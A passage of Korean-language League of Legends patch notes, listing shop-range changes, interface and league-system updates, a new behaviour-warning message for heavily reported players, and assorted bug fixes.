• 상점을 사용할 수 없게 되는 거리가 상점이 아닌 생성 장소(소환사의 제단)에서부터 계산되도록 변경했습니다.
• 상점을 사용할 수 없게 되는 거리가 1400에서 1600으로 증가했습니다.
• 파랑 팀 레이저 포탑 뒤에 챔피언들이 끼어서 나올 수 없는 버그를 수정했습니다.
• 칼바람 나락에서 귀여움을 맡고 있는 포로들이 특수 훈련을 받아 이제 레이저를 어느 정도 견딜 수 있게 되었습니다.

 

게임 인터페이스
미니맵 및 화면 표시

• 플레이어의 이름이 마지막에 표시되어, 적 및 아군 체력 바에 가리지 않도록 변경했습니다.
사용자 설정 아이템 세트
• 소환사명을 바꿀 때 아이템 세트가 사라지지 않습니다.
상점창
• 상점창에서 영어 및 한국어 약어로 아이템을 찾으실 수 있습니다. 전체 약어 목록은 공식 홈페이지 공지를 참고하세요.
게임 메뉴
• 키 지정 페이지가 사용하기 더 편리하도록 변경되었습니다.
사용자 설정 게임 미니 맵
• 사용자 설정 게임 미니 맵이 변경되어 맵마다 독특한 미니맵 디자인을 즐기실 수 있습니다.

리그 시스템
• 리그 메뉴에서 챌린저 티어 플레이어와 랭크 팀의 경기를 관전하실 수 있는 기능을 추가했습니다.
• 이제 장기간 랭크 게임을 플레이하지 않아서 LP가 하락하려 할 때 알림 메시지가 나타납니다.

 

매너 플레이
매너 플레이 권장 메시지
 

갑작스레 부적절한 행동을 보이는 플레이어에게 게임 클라이언트에서 매너 플레이를 권장하는 메시지를 출력합니다. 이는 즉각적인 피드백을 통해 가능한 빨리 바람직한 플레이로 돌아갈 수 있도록 하기 위한 조치입니다.
• 소환사의 규율에 위배되는 행동을 해 신고된 플레이어는 게임 종료 화면이 닫힌 후에 매너 플레이 권장 메시지를 받게 됩니다.
• 신고를 당했다고 무조건 해당 메시지를 받는 것은 아닙니다. 매너 플레이 권장 메시지는 평소와는 다르게 신고 당한 회수가 급격히 늘어난 플레이어에게 출력됩니다.

 

일반
• 챔피언 선택 후의 로딩 화면이 테두리 없음 모드 또는 창 모드에서 가운데에 나타나지 않던 버그를 수정했습니다.
• 컴퓨터에 과부하가 걸렸을 때 리그 오브 레전드가 화면 오른쪽 아래에서 열리게 하는 것으로 추정되는 버그를 수정했습니다.
• 로지텍 모노크롬 키보드에서 정보창 버튼을 누르면 LCD디스플레이가 지워지던 버그를 수정했습니다. 
• 플레이어의 챔피언이 사망했을 때 로지텍 키보드의 밝기가 달라지지 않도록 수정했습니다. 

 

게임 모드 별 이용 가능 레벨 변경

• 수정의 상처 AI 상대 협동 플레이 가능 레벨이 1레벨에서 5레벨로 변경되었습니다.

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